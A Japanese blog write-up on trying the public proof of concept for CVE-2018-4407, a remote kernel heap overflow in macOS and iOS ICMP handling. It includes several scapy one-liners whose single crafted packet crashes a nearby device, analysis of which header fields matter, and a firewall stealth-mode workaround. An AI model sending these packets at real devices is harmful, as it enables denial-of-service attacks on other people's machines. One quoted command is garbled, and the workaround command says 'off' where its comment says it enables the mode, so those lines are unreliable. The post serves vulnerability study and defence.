MacやiPhone/iPadを簡単にクラッシュさせることが出来るという動画が少し前に話題になっていました。
Video of my PoC for CVE-2018-4407. It crashes any macOS High Sierra or iOS 11 device that is on the same WiFi network. No user interaction required. pic.twitter.com/tXtp7QRCp8
— Kevin Backhouse (@kevin_backhouse) 2018年10月30日
PoCも公開されたので、実際に試してみたという記事です。
概要
MacやiOSデバイスをクラッシュさせるCVE-2018-4407の動画が話題になっていましたが、PoCコードは公開されていなかったので試せない状態でした。 ですが実はその翌日に別の人がPoCコードを公開していたようです(全然気づかなかった)。 どういう原理か気になったので試しつつ調べてみました。 普段はデバッガで追うのですがMacのKernelは試すのが大変だったので、今回はそこまではやっていません。 PoCを色々いじってみて挙動から推測した感じです。
TL;DR
先に自分の知っている範囲でまとめておきます。 実際にメモリの中とかを見たわけじゃないので正しいかは分かりません。 推測の部分が多いです。
- 攻撃のためには不正なTCPパケットを送る必要がある
- ヘッダを大きくすることが出来ればTCPじゃなくてもいけそう
- IPヘッダのOptionsを壊しておく
- PoCではOptionsの長さ指定をおかしくしている
- IPヘッダが壊れているのでMacはICMPのParameter Problem(Type 12)を返そうとする
- Type 12は元の不正なパケットのIPヘッダとデータグラムの先頭部分をペイロードに入れる
- その際に確保しているメモリが少ない&長さのチェックがない
- TCPヘッダを大きくすれば確保されたヒープのサイズを超えてアクセスしてOSがクラッシュ
- ヒープバッファオーバーフローなので最悪任意コードが実行可能
- MacのFirewallでステルスモードを有効にすれば影響を受けない
- ICMPを返さなくなるため
- 攻撃するためには同一ネットワークにいる必要あり
- インターネット経由での攻撃は難しい
- IPヘッダのOptionsが不正な値なため、ルータを通過しない(ルータがICMPを返してしまう)
詳細
発見者の方のページに詳細が書いてあります。
PoCは以下で公開されていました。
iOS 12 / OS X *Remote Kernel Heap Overflow (CVE-2018-4407) POC* in a tweet:
— Zuk (@ihackbanme) 2018年11月1日
pip install scapy
sudo scapy
send(IP(dst=“Target IP“,options=[IPOption(“A”*8)])/TCP(dport=2323,options=[(19, “1"*18),(19, “2”*18)]))
まずは試してみます。 攻撃対象のMacのIPアドレスを調べておきます(今回は仮に192.168.1.2だとする)。
$ sudo scapy WARNING: Cannot read wireshark manuf database INFO: Can't import matplotlib. Won't be able to plot. INFO: Can't import PyX. Won't be able to use psdump() or pdfdump(). WARNING: No route found for IPv6 destination :: (no default route?) INFO: Can't import python-cryptography v1.7+. Disabled WEP decryption/encryption. (Dot11) INFO: Can't import python-cryptography v1.7+. Disabled IPsec encryption/authentication. WARNING: IPython not available. Using standard Python shell instead. AutoCompletion, History are disabled. aSPY//YASa apyyyyCY//////////YCa | sY//////YSpcs scpCY//Pp | Welcome to Scapy ayp ayyyyyyySCP//Pp syY//C | Version 2.4.0 AYAsAYYYYYYYY///Ps cY//S | pCCCCY//p cSSps y//Y | https://github.com/secdev/scapy SPPPP///a pP///AC//Y | A//A cyP////C | Have fun! p///Ac sC///a | P////YCpc A//A | Craft packets like I craft my beer. scccccp///pSP///p p//Y | -- Jean De Clerck sY/////////y caa S//P | cayCyayP//Ya pY/Ya sY/PsY////YCc aC//Yp sc sccaCY//PCypaapyCP//YSs spCPY//////YPSps ccaacs >>> send(IP(dst="192.168.1.2",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))
この1パケットを送るだけでMacがクラッシュします。
IP Options
このときに送られたパケットをWiresharkで見てみると、IPヘッダのOptionsのところでエラーが出ています。 他にもTCPのMD5 signatureのサイズが正しくないと怒られています。
では今度は同じパケットを外部にある自分のサーバ宛に送ってみます。
>>> send(IP(dst="Public IP address",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))
ICMPが返ってきました。これはルータから返ってきています。
「Parameter problem」と言われており、IPヘッダがおかしいということでエラーが返されています。 このとき、ICMPのペイロードに元のパケットのヘッダ等が含まれているのが重要です。
また、Optionsの中身がルータでチェックされて不正な場合はルータからICMPが返されてしまうため、インターネット経由での攻撃は難しいことが分かります。 もしかしたらルータによっては確認しないかもしれませんが、通過する全てのルータをすり抜ける可能性はほぼないかと思います。
Optionsの2バイト目がサイズを表しますが、この長ささえあっていればOptionsの中身自体が適当でも通過するようです。 以下では "\x08" を8個詰めたのですが、Option自体はUnknownと言われるもののICMPは返されずルータを通過しました。
今回の脆弱性は対象デバイスにICMPを返させる必要があります。 そのため同一ネットワーク内からのみ攻撃可能なようです。
TCP MD5 signature
先程のキャプチャでTCP MD5 signatureのサイズがおかしいというメッセージが出ていました。 試しに正しいサイズにしてみます。
>>> send(IP(dst="192.168.1.2",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1"*16),(19, "2"*16)]))
実はこれでも成功します。 Wiresharkで見るとTCP MD5 signatureの部分が正常に表示されています。
なので実はTCP MD5 signatureのサイズが2バイトずれているのは関係ありませんでした。 単に公開した人のミスっぽい気がします。 気になりすぎて本人に聞いたらLikeされたので、その通りだね、という意味なのかなと勝手に思っています。
Why is TCP option size set to 18 byte? The correct size (16 bytes) got it to work on my environment (High Sierra 10.13.3)
— スッキリごん! (@knqyf263) 2018年11月4日
send(IP(dst="X.X.X.X",options=[IPOption(chr(8)*8)])/T"A"*8)])/TCP(dport=2324,options=[(19, "1"*16),(19, "2"*16)]))
で、何で2個Optionないと落ちないのか気になって試しに1個にすると確かにクラッシュしませんでした。
>>> send(IP(dst="192.168.1.2",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1"*16),(19, "2"*16)]))
そもそもIPヘッダの方が壊れてるならそっちのサイズを増やせば良いんじゃないの?TCPヘッダ関係あるの?というのが疑問で、発見者のブログにもTCPに関する解説がなくて困ってました。
という話をしていたら、とある会社のグループリーダーの方が以下のようなことを言っていました。
確かにTCPヘッダのほうが溢れる原因なのかもしれないと思い、試しにTCPヘッダの方を大きくしてみました。
>>> send(IP(dst="192.168.1.2",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1"*32)]))
これでもクラッシュしました。 TCP Optionsに大きい値が入っていることが分かります。 PoCを公開した方は正規のサイズまでの方が良いと考えて2個にしたのかもしれません(サイズ間違ってましたが)。 ですが実際にはTCP Optionsが1個でも大きくすれば刺さるみたいです。
実際にデバッガで追ったわけではないので発見者のブログと合わせて推測したに過ぎませんが、ICMPのType 12を返させるためにIPヘッダのOptionsを壊すのが必要で、実際にクラッシュさせるためにはTCPヘッダを大きくする必要があるのではないかと思います。 確証はないですが、色々試してみた挙動としてはそのように見えました。
回避策
発見者も書いていましたが、MacのFirewallを有効にしてステルスモードを有効にすれば良いです。 有効にする方法は以下に書いてあるのですが、自分のMacではうまく出来ませんでした。
なのでターミナルから実行しました。
# Firewallを有効にする $ sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setglobalstate on # ステルスモードを有効にする $ sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setstealthmode off
これpingとかに応答しなくなるだけかと思っていたのですが、エラー時のICMPも返さなくなるのですね。 実際に有効にしてからIPヘッダ壊してTCPヘッダサイズは小さいまま送ってみましたが、ICMPは返ってきませんでした。 TCPヘッダサイズを大きくしてもクラッシュしません。 恐らくICMPの処理に入らないためクラッシュしないのだと思います。
まとめ
Appleとしては、TCPやUDPのヘッダサイズは固定だろうし〜とサイズを決め打ちで作っちゃったのかな、と予想してます。油断しすぎてサイズのチェックしてなかった。 その結果、可変長なTCPヘッダのOptionsに大きいサイズ詰めて送ったらオーバーフローしてしまった。 特にICMPの実装で普段そこまで使われない処理だったので見逃されていたのかなと思います。 完全に推測ですが。
実際に内部の動きを追うところまで出来なかったのは残念ですが、こういう基本的なところにもまだまだバグがあるのだなーと分かって面白かったです。